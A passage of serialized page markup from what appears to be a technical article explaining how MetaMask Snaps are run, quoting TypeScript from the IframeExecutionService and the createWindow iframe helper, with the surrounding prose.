'ExecutionService'",{"type":26,"tag":475,"props":35449,"children":35450},{"style":499},[35451],{"type":32,"value":2425},{"type":26,"tag":475,"props":35453,"children":35454},{"class":477,"line":596},[35455],{"type":26,"tag":475,"props":35456,"children":35457},{"style":499},[35458],{"type":32,"value":35459}," }),\n",{"type":26,"tag":475,"props":35461,"children":35462},{"class":477,"line":610},[35463,35468,35472,35476,35481,35485,35490,35494,35498],{"type":26,"tag":475,"props":35464,"children":35465},{"style":2375},[35466],{"type":32,"value":35467}," setupSnapProvider:",{"type":26,"tag":475,"props":35469,"children":35470},{"style":482},[35471],{"type":32,"value":35412},{"type":26,"tag":475,"props":35473,"children":35474},{"style":499},[35475],{"type":32,"value":353},{"type":26,"tag":475,"props":35477,"children":35478},{"style":2375},[35479],{"type":32,"value":35480},"setupSnapProvider",{"type":26,"tag":475,"props":35482,"children":35483},{"style":499},[35484],{"type":32,"value":353},{"type":26,"tag":475,"props":35486,"children":35487},{"style":493},[35488],{"type":32,"value":35489},"bind",{"type":26,"tag":475,"props":35491,"children":35492},{"style":499},[35493],{"type":32,"value":626},{"type":26,"tag":475,"props":35495,"children":35496},{"style":482},[35497],{"type":32,"value":17400},{"type":26,"tag":475,"props":35499,"children":35500},{"style":499},[35501],{"type":32,"value":6450},{"type":26,"tag":475,"props":35503,"children":35504},{"class":477,"line":650},[35505],{"type":26,"tag":475,"props":35506,"children":35507},{"style":499},[35508],{"type":32,"value":16283},{"type":26,"tag":475,"props":35510,"children":35511},{"class":477,"line":679},[35512],{"type":26,"tag":475,"props":35513,"children":35514},{"emptyLinePlaceholder":18},[35515],{"type":32,"value":545},{"type":26,"tag":475,"props":35517,"children":35518},{"class":477,"line":735},[35519],{"type":26,"tag":475,"props":35520,"children":35521},{"style":552},[35522],{"type":32,"value":35523},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":26,"tag":475,"props":35525,"children":35526},{"class":477,"line":744},[35527,35531,35535,35539,35543,35547],{"type":26,"tag":475,"props":35528,"children":35529},{"style":2375},[35530],{"type":32,"value":35377},{"type":26,"tag":475,"props":35532,"children":35533},{"style":499},[35534],{"type":32,"value":353},{"type":26,"tag":475,"props":35536,"children":35537},{"style":2375},[35538],{"type":32,"value":35386},{"type":26,"tag":475,"props":35540,"children":35541},{"style":499},[35542],{"type":32,"value":353},{"type":26,"tag":475,"props":35544,"children":35545},{"style":2375},[35546],{"type":32,"value":35395},{"type":26,"tag":475,"props":35548,"children":35549},{"style":714},[35550],{"type":32,"value":35551}," =\n",{"type":26,"tag":475,"props":35553,"children":35554},{"class":477,"line":753},[35555,35560],{"type":26,"tag":475,"props":35556,"children":35557},{"style":629},[35558],{"type":32,"value":35559}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":26,"tag":475,"props":35561,"children":35562},{"style":499},[35563],{"type":32,"value":2729},{"type":26,"tag":475,"props":35565,"children":35566},{"class":477,"line":761},[35567],{"type":26,"tag":475,"props":35568,"children":35569},{"style":552},[35570],{"type":32,"value":35331},{"type":26,"tag":35,"props":35572,"children":35573},{},[35574,35576,35582,35584,35590,35592,35597],{"type":32,"value":35575},"This code is defining the ",{"type":26,"tag":53,"props":35577,"children":35579},{"className":35578},[],[35580],{"type":32,"value":35581},"snapExecutionServiceArgs",{"type":32,"value":35583}," object, which contains information required for the ",{"type":26,"tag":53,"props":35585,"children":35587},{"className":35586},[],[35588],{"type":32,"value":35589},"IframeExecutionService",{"type":32,"value":35591}," to execute snaps. The ",{"type":26,"tag":53,"props":35593,"children":35595},{"className":35594},[],[35596],{"type":32,"value":35395},{"type":32,"value":35598}," points to the location where the execution environment resides.",{"type":26,"tag":70,"props":35600,"children":35602},{"id":35601},"executing-snaps-iframeexecutionservice-in-action",[35603],{"type":32,"value":35604},"Executing Snaps: IframeExecutionService in Action",{"type":26,"tag":35,"props":35606,"children":35607},{},[35608,35610,35615,35617,35623],{"type":32,"value":35609},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":26,"tag":53,"props":35611,"children":35613},{"className":35612},[],[35614],{"type":32,"value":35589},{"type":32,"value":35616}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":26,"tag":116,"props":35618,"children":35621},{"href":35619,"rel":35620},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[120],[35622],{"type":32,"value":53},{"type":32,"value":179},{"type":26,"tag":465,"props":35625,"children":35629},{"className":35626,"code":35627,"language":35628,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[35630],{"type":26,"tag":53,"props":35631,"children":35632},{"__ignoreMap":7},[35633,35641,35670,35700,35753,35790,35797,35804,35812,35819,35826,35834,35868,35876,35931,35993,36001],{"type":26,"tag":475,"props":35634,"children":35635},{"class":477,"line":478},[35636],{"type":26,"tag":475,"props":35637,"children":35638},{"style":552},[35639],{"type":32,"value":35640},"// Register message handlers for snap interactions\n",{"type":26,"tag":475,"props":35642,"children":35643},{"class":477,"line":516},[35644,35648,35652,35657,35661,35666],{"type":26,"tag":475,"props":35645,"children":35646},{"style":482},[35647],{"type":32,"value":17400},{"type":26,"tag":475,"props":35649,"children":35650},{"style":499},[35651],{"type":32,"value":353},{"type":26,"tag":475,"props":35653,"children":35654},{"style":2375},[35655],{"type":32,"value":35656},"#messenger",{"type":26,"tag":475,"props":35658,"children":35659},{"style":499},[35660],{"type":32,"value":353},{"type":26,"tag":475,"props":35662,"children":35663},{"style":493},[35664],{"type":32,"value":35665},"registerActionHandler",{"type":26,"tag":475,"props":35667,"children":35668},{"style":499},[35669],{"type":32,"value":3169},{"type":26,"tag":475,"props":35671,"children":35672},{"class":477,"line":539},[35673,35678,35682,35687,35691,35696],{"type":26,"tag":475,"props":35674,"children":35675},{"style":629},[35676],{"type":32,"value":35677}," `",{"type":26,"tag":475,"props":35679,"children":35680},{"style":482},[35681],{"type":32,"value":711},{"type":26,"tag":475,"props":35683,"children":35684},{"style":2375},[35685],{"type":32,"value":35686},"controllerName",{"type":26,"tag":475,"props":35688,"children":35689},{"style":482},[35690],{"type":32,"value":722},{"type":26,"tag":475,"props":35692,"children":35693},{"style":629},[35694],{"type":32,"value":35695},":handleRpcRequest`",{"type":26,"tag":475,"props":35697,"children":35698},{"style":499},[35699],{"type":32,"value":2425},{"type":26,"tag":475,"props":35701,"children":35702},{"class":477,"line":548},[35703,35708,35712,35717,35721,35726,35730,35735,35739,35744,35748],{"type":26,"tag":475,"props":35704,"children":35705},{"style":482},[35706],{"type":32,"value":35707}," async",{"type":26,"tag":475,"props":35709,"children":35710},{"style":499},[35711],{"type":32,"value":2775},{"type":26,"tag":475,"props":35713,"children":35714},{"style":2375},[35715],{"type":32,"value":35716},"snapId",{"type":26,"tag":475,"props":35718,"children":35719},{"style":714},[35720],{"type":32,"value":179},{"type":26,"tag":475,"props":35722,"children":35723},{"style":505},[35724],{"type":32,"value":35725}," string",{"type":26,"tag":475,"props":35727,"children":35728},{"style":499},[35729],{"type":32,"value":637},{"type":26,"tag":475,"props":35731,"children":35732},{"style":2375},[35733],{"type":32,"value":35734},"options",{"type":26,"tag":475,"props":35736,"children":35737},{"style":714},[35738],{"type":32,"value":179},{"type":26,"tag":475,"props":35740,"children":35741},{"style":505},[35742],{"type":32,"value":35743}," SnapRpcHookArgs",{"type":26,"tag":475,"props":35745,"children":35746},{"style":499},[35747],{"type":32,"value":2794},{"type":26,"tag":475,"props":35749,"children":35750},{"style":482},[35751],{"type":32,"value":35752},"=>\n",{"type":26,"tag":475,"props":35754,"children":35755},{"class":477,"line":558},[35756,35761,35765,35770,35774,35778,35782,35786],{"type":26,"tag":475,"props":35757,"children":35758},{"style":482},[35759],{"type":32,"value":35760}," this",{"type":26,"tag":475,"props":35762,"children":35763},{"style":499},[35764],{"type":32,"value":353},{"type":26,"tag":475,"props":35766,"children":35767},{"style":493},[35768],{"type":32,"value":35769},"handleRpcRequest",{"type":26,"tag":475,"props":35771,"children":35772},{"style":499},[35773],{"type":32,"value":626},{"type":26,"tag":475,"props":35775,"children":35776},{"style":2375},[35777],{"type":32,"value":35716},{"type":26,"tag":475,"props":35779,"children":35780},{"style":499},[35781],{"type":32,"value":637},{"type":26,"tag":475,"props":35783,"children":35784},{"style":2375},[35785],{"type":32,"value":35734},{"type":26,"tag":475,"props":35787,"children":35788},{"style":499},[35789],{"type":32,"value":6450},{"type":26,"tag":475,"props":35791,"children":35792},{"class":477,"line":582},[35793],{"type":26,"tag":475,"props":35794,"children":35795},{"style":499},[35796],{"type":32,"value":3533},{"type":26,"tag":475,"props":35798,"children":35799},{"class":477,"line":596},[35800],{"type":26,"tag":475,"props":35801,"children":35802},{"emptyLinePlaceholder":18},[35803],{"type":32,"value":545},{"type":26,"tag":475,"props":35805,"children":35806},{"class":477,"line":610},[35807],{"type":26,"tag":475,"props":35808,"children":35809},{"style":552},[35810],{"type":32,"value":35811},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":26,"tag":475,"props":35813,"children":35814},{"class":477,"line":650},[35815],{"type":26,"tag":475,"props":35816,"children":35817},{"style":552},[35818],{"type":32,"value":35331},{"type":26,"tag":475,"props":35820,"children":35821},{"class":477,"line":679},[35822],{"type":26,"tag":475,"props":35823,"children":35824},{"emptyLinePlaceholder":18},[35825],{"type":32,"value":545},{"type":26,"tag":475,"props":35827,"children":35828},{"class":477,"line":735},[35829],{"type":26,"tag":475,"props":35830,"children":35831},{"style":552},[35832],{"type":32,"value":35833},"// Execute a snap\n",{"type":26,"tag":475,"props":35835,"children":35836},{"class":477,"line":744},[35837,35841,35846,35850,35855,35859,35864],{"type":26,"tag":475,"props":35838,"children":35839},{"style":2375},[35840],{"type":32,"value":2350},{"type":26,"tag":475,"props":35842,"children":35843},{"style":493},[35844],{"type":32,"value":35845}," executeSnap",{"type":26,"tag":475,"props":35847,"children":35848},{"style":499},[35849],{"type":32,"value":626},{"type":26,"tag":475,"props":35851,"children":35852},{"style":2375},[35853],{"type":32,"value":35854},"snapData",{"type":26,"tag":475,"props":35856,"children":35857},{"style":499},[35858],{"type":32,"value":15037},{"type":26,"tag":475,"props":35860,"children":35861},{"style":2375},[35862],{"type":32,"value":35863},"SnapExecutionData",{"type":26,"tag":475,"props":35865,"children":35866},{"style":499},[35867],{"type":32,"value":676},{"type":26,"tag":475,"props":35869,"children":35870},{"class":477,"line":753},[35871],{"type":26,"tag":475,"props":35872,"children":35873},{"style":552},[35874],{"type":32,"value":35875}," // Initialize job, streams, and environment\n",{"type":26,"tag":475,"props":35877,"children":35878},{"class":477,"line":761},[35879,35884,35888,35893,35898,35902,35906,35910,35914,35919,35923,35927],{"type":26,"tag":475,"props":35880,"children":35881},{"style":482},[35882],{"type":32,"value":35883}," const",{"type":26,"tag":475,"props":35885,"children":35886},{"style":499},[35887],{"type":32,"value":1101},{"type":26,"tag":475,"props":35889,"children":35890},{"style":2375},[35891],{"type":32,"value":35892},"jobId",{"type":26,"tag":475,"props":35894,"children":35895},{"style":499},[35896],{"type":32,"value":35897}," } ",{"type":26,"tag":475,"props":35899,"children":35900},{"style":714},[35901],{"type":32,"value":786},{"type":26,"tag":475,"props":35903,"children":35904},{"style":586},[35905],{"type":32,"value":2388},{"type":26,"tag":475,"props":35907,"children":35908},{"style":482},[35909],{"type":32,"value":35412},{"type":26,"tag":475,"props":35911,"children":35912},{"style":499},[35913],{"type":32,"value":353},{"type":26,"tag":475,"props":35915,"children":35916},{"style":493},[35917],{"type":32,"value":35918},"initJob",{"type":26,"tag":475,"props":35920,"children":35921},{"style":499},[35922],{"type":32,"value":626},{"type":26,"tag":475,"props":35924,"children":35925},{"style":2375},[35926],{"type":32,"value":35854},{"type":26,"tag":475,"props":35928,"children":35929},{"style":499},[35930],{"type":32,"value":3533},{"type":26,"tag":475,"props":35932,"children":35933},{"class":477,"line":770},[35934,35938,35942,35947,35951,35956,35960,35964,35968,35972,35976,35981,35985,35989],{"type":26,"tag":475,"props":35935,"children":35936},{"style":482},[35937],{"type":32,"value":35883},{"type":26,"tag":475,"props":35939,"children":35940},{"style":499},[35941],{"type":32,"value":1101},{"type":26,"tag":475,"props":35943,"children":35944},{"style":2375},[35945],{"type":32,"value":35946},"worker",{"type":26,"tag":475,"props":35948,"children":35949},{"style":499},[35950],{"type":32,"value":637},{"type":26,"tag":475,"props":35952,"children":35953},{"style":2375},[35954],{"type":32,"value":35955},"stream",{"type":26,"tag":475,"props":35957,"children":35958},{"style":499},[35959],{"type":32,"value":35897},{"type":26,"tag":475,"props":35961,"children":35962},{"style":714},[35963],{"type":32,"value":786},{"type":26,"tag":475,"props":35965,"children":35966},{"style":586},[35967],{"type":32,"value":2388},{"type":26,"tag":475,"props":35969,"children":35970},{"style":482},[35971],{"type":32,"value":35412},{"type":26,"tag":475,"props":35973,"children":35974},{"style":499},[35975],{"type":32,"value":353},{"type":26,"tag":475,"props":35977,"children":35978},{"style":493},[35979],{"type":32,"value":35980},"initEnvStream",{"type":26,"tag":475,"props":35982,"children":35983},{"style":499},[35984],{"type":32,"value":626},{"type":26,"tag":475,"props":35986,"children":35987},{"style":2375},[35988],{"type":32,"value":35892},{"type":26,"tag":475,"props":35990,"children":35991},{"style":499},[35992],{"type":32,"value":3533},{"type":26,"tag":475,"props":35994,"children":35995},{"class":477,"line":794},[35996],{"type":26,"tag":475,"props":35997,"children":35998},{"style":552},[35999],{"type":32,"value":36000}," // ...\n",{"type":26,"tag":475,"props":36002,"children":36003},{"class":477,"line":831},[36004],{"type":26,"tag":475,"props":36005,"children":36006},{"style":499},[36007],{"type":32,"value":3607},{"type":26,"tag":35,"props":36009,"children":36010},{},[36011,36012,36017,36019,36025],{"type":32,"value":16319},{"type":26,"tag":53,"props":36013,"children":36015},{"className":36014},[],[36016],{"type":32,"value":35589},{"type":32,"value":36018}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":26,"tag":53,"props":36020,"children":36022},{"className":36021},[],[36023],{"type":32,"value":36024},"${controllerName}:executeSnap",{"type":32,"value":36026}," handler triggers the snap execution process.",{"type":26,"tag":70,"props":36028,"children":36030},{"id":36029},"step-by-step-execution-from-initialization-to-iframe-creation",[36031,36033],{"type":32,"value":36032},"Step-by-Step Execution: From Initialization to iFrame ",{"type":26,"tag":116,"props":36034,"children":36037},{"href":36035,"rel":36036},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[120],[36038],{"type":32,"value":36039},"creation",{"type":26,"tag":465,"props":36041,"children":36043},{"className":35626,"code":36042,"language":35628,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[36044],{"type":26,"tag":53,"props":36045,"children":36046},{"__ignoreMap":7},[36047,36096,36117,36138,36146,36210,36217,36245,36262,36279,36296,36313,36320,36327,36351],{"type":26,"tag":475,"props":36048,"children":36049},{"class":477,"line":478},[36050,36055,36060,36065,36069,36073,36077,36081,36086,36091],{"type":26,"tag":475,"props":36051,"children":36052},{"style":2375},[36053],{"type":32,"value":36054},"protected",{"type":26,"tag":475,"props":36056,"children":36057},{"style":2375},[36058],{"type":32,"value":36059}," async",{"type":26,"tag":475,"props":36061,"children":36062},{"style":493},[36063],{"type":32,"value":36064}," initEnvStream",{"type":26,"tag":475,"props":36066,"children":36067},{"style":499},[36068],{"type":32,"value":626},{"type":26,"tag":475,"props":36070,"children":36071},{"style":2375},[36072],{"type":32,"value":35892},{"type":26,"tag":475,"props":36074,"children":36075},{"style":499},[36076],{"type":32,"value":15037},{"type":26,"tag":475,"props":36078,"children":36079},{"style":2375},[36080],{"type":32,"value":29369},{"type":26,"tag":475,"props":36082,"children":36083},{"style":499},[36084],{"type":32,"value":36085},"): ",{"type":26,"tag":475,"props":36087,"children":36088},{"style":505},[36089],{"type":32,"value":36090},"Promise",{"type":26,"tag":475,"props":36092,"children":36093},{"style":499},[36094],{"type":32,"value":36095},"\u003C{\n",{"type":26,"tag":475,"props":36097,"children":36098},{"class":477,"line":516},[36099,36104,36108,36113],{"type":26,"tag":475,"props":36100,"children":36101},{"style":2375},[36102],{"type":32,"value":36103}," worker",{"type":26,"tag":475,"props":36105,"children":36106},{"style":714},[36107],{"type":32,"value":179},{"type":26,"tag":475,"props":36109,"children":36110},{"style":505},[36111],{"type":32,"value":36112}," Window",{"type":26,"tag":475,"props":36114,"children":36115},{"style":499},[36116],{"type":32,"value":2729},{"type":26,"tag":475,"props":36118,"children":36119},{"class":477,"line":539},[36120,36125,36129,36134],{"type":26,"tag":475,"props":36121,"children":36122},{"style":2375},[36123],{"type":32,"value":36124}," stream",{"type":26,"tag":475,"props":36126,"children":36127},{"style":714},[36128],{"type":32,"value":179},{"type":26,"tag":475,"props":36130,"children":36131},{"style":505},[36132],{"type":32,"value":36133}," BasePostMessageStream",{"type":26,"tag":475,"props":36135,"children":36136},{"style":499},[36137],{"type":32,"value":2729},{"type":26,"tag":475,"props":36139,"children":36140},{"class":477,"line":548},[36141],{"type":26,"tag":475,"props":36142,"children":36143},{"style":499},[36144],{"type":32,"value":36145}," }> {\n",{"type":26,"tag":475,"props":36147,"children":36148},{"class":477,"line":558},[36149,36154,36159,36163,36167,36172,36176,36180,36184,36189,36193,36198,36202,36206],{"type":26,"tag":475,"props":36150,"children":36151},{"style":499},[36152],{"type":32,"value":36153}," const ",{"type":26,"tag":475,"props":36155,"children":36156},{"style":2375},[36157],{"type":32,"value":36158},"iframeWindow",{"type":26,"tag":475,"props":36160,"children":36161},{"style":714},[36162],{"type":32,"value":2383},{"type":26,"tag":475,"props":36164,"children":36165},{"style":586},[36166],{"type":32,"value":2388},{"type":26,"tag":475,"props":36168,"children":36169},{"style":493},[36170],{"type":32,"value":36171}," createWindow",{"type":26,"tag":475,"props":36173,"children":36174},{"style":499},[36175],{"type":32,"value":626},{"type":26,"tag":475,"props":36177,"children":36178},{"style":482},[36179],{"type":32,"value":17400},{"type":26,"tag":475,"props":36181,"children":36182},{"style":499},[36183],{"type":32,"value":353},{"type":26,"tag":475,"props":36185,"children":36186},{"style":2375},[36187],{"type":32,"value":36188},"iframeUrl",{"type":26,"tag":475,"props":36190,"children":36191},{"style":499},[36192],{"type":32,"value":353},{"type":26,"tag":475,"props":36194,"children":36195},{"style":493},[36196],{"type":32,"value":36197},"toString",{"type":26,"tag":475,"props":36199,"children":36200},{"style":499},[36201],{"type":32,"value":18083},{"type":26,"tag":475,"props":36203,"children":36204},{"style":2375},[36205],{"type":32,"value":35892},{"type":26,"tag":475,"props":36207,"children":36208},{"style":499},[36209],{"type":32,"value":3533},{"type":26,"tag":475,"props":36211,"children":36212},{"class":477,"line":582},[36213],{"type":26,"tag":475,"props":36214,"children":36215},{"emptyLinePlaceholder":18},[36216],{"type":32,"value":545},{"type":26,"tag":475,"props":36218,"children":36219},{"class":477,"line":596},[36220,36224,36228,36232,36236,36241],{"type":26,"tag":475,"props":36221,"children":36222},{"style":499},[36223],{"type":32,"value":36153},{"type":26,"tag":475,"props":36225,"children":36226},{"style":2375},[36227],{"type":32,"value":35955},{"type":26,"tag":475,"props":36229,"children":36230},{"style":714},[36231],{"type":32,"value":2383},{"type":26,"tag":475,"props":36233,"children":36234},{"style":482},[36235],{"type":32,"value":31633},{"type":26,"tag":475,"props":36237,"children":36238},{"style":493},[36239],{"type":32,"value":36240}," WindowPostMessageStream",{"type":26,"tag":475,"props":36242,"children":36243},{"style":499},[36244],{"type":32,"value":14846},{"type":26,"tag":475,"props":36246,"children":36247},{"class":477,"line":610},[36248,36253,36258],{"type":26,"tag":475,"props":36249,"children":36250},{"style":2375},[36251],{"type":32,"value":36252}," name:",{"type":26,"tag":475,"props":36254,"children":36255},{"style":629},[36256],{"type":32,"value":36257}," 'parent'",{"type":26,"tag":475,"props":36259,"children":36260},{"style":499},[36261],{"type":32,"value":2425},{"type":26,"tag":475,"props":36263,"children":36264},{"class":477,"line":650},[36265,36270,36275],{"type":26,"tag":475,"props":36266,"children":36267},{"style":2375},[36268],{"type":32,"value":36269}," target:",{"type":26,"tag":475,"props":36271,"children":36272},{"style":629},[36273],{"type":32,"value":36274}," 'child'",{"type":26,"tag":475,"props":36276,"children":36277},{"style":499},[36278],{"type":32,"value":2425},{"type":26,"tag":475,"props":36280,"children":36281},{"class":477,"line":679},[36282,36287,36292],{"type":26,"tag":475,"props":36283,"children":36284},{"style":2375},[36285],{"type":32,"value":36286}," targetWindow:",{"type":26,"tag":475,"props":36288,"children":36289},{"style":2375},[36290],{"type":32,"value":36291}," iframeWindow",{"type":26,"tag":475,"props":36293,"children":36294},{"style":499},[36295],{"type":32,"value":2425},{"type":26,"tag":475,"props":36297,"children":36298},{"class":477,"line":735},[36299,36304,36309],{"type":26,"tag":475,"props":36300,"children":36301},{"style":2375},[36302],{"type":32,"value":36303}," targetOrigin:",{"type":26,"tag":475,"props":36305,"children":36306},{"style":629},[36307],{"type":32,"value":36308}," '*'",{"type":26,"tag":475,"props":36310,"children":36311},{"style":499},[36312],{"type":32,"value":2425},{"type":26,"tag":475,"props":36314,"children":36315},{"class":477,"line":744},[36316],{"type":26,"tag":475,"props":36317,"children":36318},{"style":499},[36319],{"type":32,"value":31957},{"type":26,"tag":475,"props":36321,"children":36322},{"class":477,"line":753},[36323],{"type":26,"tag":475,"props":36324,"children":36325},{"emptyLinePlaceholder":18},[36326],{"type":32,"value":545},{"type":26,"tag":475,"props":36328,"children":36329},{"class":477,"line":761},[36330,36335,36339,36343,36347],{"type":26,"tag":475,"props":36331,"children":36332},{"style":499},[36333],{"type":32,"value":36334}," return { worker: ",{"type":26,"tag":475,"props":36336,"children":36337},{"style":2375},[36338],{"type":32,"value":36158},{"type":26,"tag":475,"props":36340,"children":36341},{"style":499},[36342],{"type":32,"value":637},{"type":26,"tag":475,"props":36344,"children":36345},{"style":2375},[36346],{"type":32,"value":35955},{"type":26,"tag":475,"props":36348,"children":36349},{"style":499},[36350],{"type":32,"value":18007},{"type":26,"tag":475,"props":36352,"children":36353},{"class":477,"line":770},[36354],{"type":26,"tag":475,"props":36355,"children":36356},{"style":499},[36357],{"type":32,"value":5585},{"type":26,"tag":35,"props":36359,"children":36360},{},[36361,36363,36369,36371,36378],{"type":32,"value":36362},"Here the iframe is created via ",{"type":26,"tag":53,"props":36364,"children":36366},{"className":36365},[],[36367],{"type":32,"value":36368},"createWindow",{"type":32,"value":36370},", which is defined in snaps-utils ",{"type":26,"tag":116,"props":36372,"children":36375},{"href":36373,"rel":36374},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[120],[36376],{"type":32,"value":36377},"package",{"type":32,"value":179},{"type":26,"tag":465,"props":36380,"children":36382},{"className":35626,"code":36381,"language":35628,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[36383],{"type":26,"tag":53,"props":36384,"children":36385},{"__ignoreMap":7},[36386,36429,36467,36504,36511,36531,36569,36576,36613],{"type":26,"tag":475,"props":36387,"children":36388},{"class":477,"line":478},[36389,36393,36398,36402,36407,36411,36416,36420,36425],{"type":26,"tag":475,"props":36390,"children":36391},{"style":482},[36392],{"type":32,"value":9363},{"type":26,"tag":475,"props":36394,"children":36395},{"style":2375},[36396],{"type":32,"value":36397}," iframe",{"type":26,"tag":475,"props":36399,"children":36400},{"style":714},[36401],{"type":32,"value":2383},{"type":26,"tag":475,"props":36403,"children":36404},{"style":2375},[36405],{"type":32,"value":36406}," document",{"type":26,"tag":475,"props":36408,"children":36409},{"style":499},[36410],{"type":32,"value":353},{"type":26,"tag":475,"props":36412,"children":36413},{"style":493},[36414],{"type":32,"value":36415},"createElement",{"type":26,"tag":475,"props":36417,"children":36418},{"style":499},[36419],{"type":32,"value":626},{"type":26,"tag":475,"props":36421,"children":36422},{"style":629},[36423],{"type":32,"value":36424},"'iframe'",{"type":26,"tag":475,"props":36426,"children":36427},{"style":499},[36428],{"type":32,"value":3533},{"type":26,"tag":475,"props":36430,"children":36431},{"class":477,"line":516},[36432,36437,36441,36446,36450,36455,36459,36463],{"type":26,"tag":475,"props":36433,"children":36434},{"style":2375},[36435],{"type":32,"value":36436}," iframe",{"type":26,"tag":475,"props":36438,"children":36439},{"style":499},[36440],{"type":32,"value":353},{"type":26,"tag":475,"props":36442,"children":36443},{"style":493},[36444],{"type":32,"value":36445},"setAttribute",{"type":26,"tag":475,"props":36447,"children":36448},{"style":499},[36449],{"type":32,"value":626},{"type":26,"tag":475,"props":36451,"children":36452},{"style":629},[36453],{"type":32,"value":36454},"'id'",{"type":26,"tag":475,"props":36456,"children":36457},{"style":499},[36458],{"type":32,"value":637},{"type":26,"tag":475,"props":36460,"children":36461},{"style":2375},[36462],{"type":32,"value":3192},{"type":26,"tag":475,"props":36464,"children":36465},{"style":499},[36466],{"type":32,"value":3533},{"type":26,"tag":475,"props":36468,"children":36469},{"class":477,"line":539},[36470,36474,36478,36482,36486,36491,36495,36500],{"type":26,"tag":475,"props":36471,"children":36472},{"style":2375},[36473],{"type":32,"value":36436},{"type":26,"tag":475,"props":36475,"children":36476},{"style":499},[36477],{"type":32,"value":353},{"type":26,"tag":475,"props":36479,"children":36480},{"style":493},[36481],{"type":32,"value":36445},{"type":26,"tag":475,"props":36483,"children":36484},{"style":499},[36485],{"type":32,"value":626},{"type":26,"tag":475,"props":36487,"children":36488},{"style":629},[36489],{"type":32,"value":36490},"'data-testid'",{"type":26,"tag":475,"props":36492,"children":36493},{"style":499},[36494],{"type":32,"value":637},{"type":26,"tag":475,"props":36496,"children":36497},{"style":629},[36498],{"type":32,"value":36499},"'snaps-iframe'",{"type":26,"tag":475,"props":36501,"children":36502},{"style":499},[36503],{"type":32,"value":3533},{"type":26,"tag":475,"props":36505,"children":36506},{"class":477,"line":548},[36507],{"type":26,"tag":475,"props":36508,"children":36509},{"emptyLinePlaceholder":18},[36510],{"type":32,"value":545},{"type":26,"tag":475,"props":36512,"children":36513},{"class":477,"line":558},[36514,36518,36522,36527],{"type":26,"tag":475,"props":36515,"children":36516},{"style":586},[36517],{"type":32,"value":11988},{"type":26,"tag":475,"props":36519,"children":36520},{"style":499},[36521],{"type":32,"value":2775},{"type":26,"tag":475,"props":36523,"children":36524},{"style":2375},[36525],{"type":32,"value":36526},"sandbox",{"type":26,"tag":475,"props":36528,"children":36529},{"style":499},[36530],{"type":32,"value":676},{"type":26,"tag":475,"props":36532,"children":36533},{"class":477,"line":582},[36534,36539,36543,36547,36551,36556,36560,36565],{"type":26,"tag":475,"props":36535,"children":36536},{"style":2375},[36537],{"type":32,"value":36538}," iframe",{"type":26,"tag":475,"props":36540,"children":36541},{"style":499},[36542],{"type":32,"value":353},{"type":26,"tag":475,"props":36544,"children":36545},{"style":493},[36546],{"type":32,"value":36445},{"type":26,"tag":475,"props":36548,"children":36549},{"style":499},[36550],{"type":32,"value":626},{"type":26,"tag":475,"props":36552,"children":36553},{"style":629},[36554],{"type":32,"value":36555},"'sandbox'",{"type":26,"tag":475,"props":36557,"children":36558},{"style":499},[36559],{"type":32,"value":637},{"type":26,"tag":475,"props":36561,"children":36562},{"style":629},[36563],{"type":32,"value":36564},"'allow-scripts'",{"type":26,"tag":475,"props":36566,"children":36567},{"style":499},[36568],{"type":32,"value":3533},{"type":26,"tag":475,"props":36570,"children":36571},{"class":477,"line":596},[36572],{"type":26,"tag":475,"props":36573,"children":36574},{"style":499},[36575],{"type":32,"value":851},{"type":26,"tag":475,"props":36577,"children":36578},{"class":477,"line":610},[36579,36583,36587,36591,36595,36600,36604,36609],{"type":26,"tag":475,"props":36580,"children":36581},{"style":2375},[36582],{"type":32,"value":36436},{"type":26,"tag":475,"props":36584,"children":36585},{"style":499},[36586],{"type":32,"value":353},{"type":26,"tag":475,"props":36588,"children":36589},{"style":493},[36590],{"type":32,"value":36445},{"type":26,"tag":475,"props":36592,"children":36593},{"style":499},[36594],{"type":32,"value":626},{"type":26,"tag":475,"props":36596,"children":36597},{"style":629},[36598],{"type":32,"value":36599},"'src'",{"type":26,"tag":475,"props":36601,"children":36602},{"style":499},[36603],{"type":32,"value":637},{"type":26,"tag":475,"props":36605,"children":36606},{"style":2375},[36607],{"type":32,"value":36608},"uri",{"type":26,"tag":475,"props":36610,"children":36611},{"style":499},[36612],{"type":32,"value":3533},{"type":26,"tag":475,"props":36614,"children":36615},{"class":477,"line":650},[36616,36620,36624,36628,36632,36637,36641,36646],{"type":26,"tag":475,"props":36617,"children":36618},{"style":2375},[36619],{"type":32,"value":34368},{"type":26,"tag":475,"props":36621,"children":36622},{"style":499},[36623],{"type":32,"value":353},{"type":26,"tag":475,"props":36625,"children":36626},{"style":2375},[36627]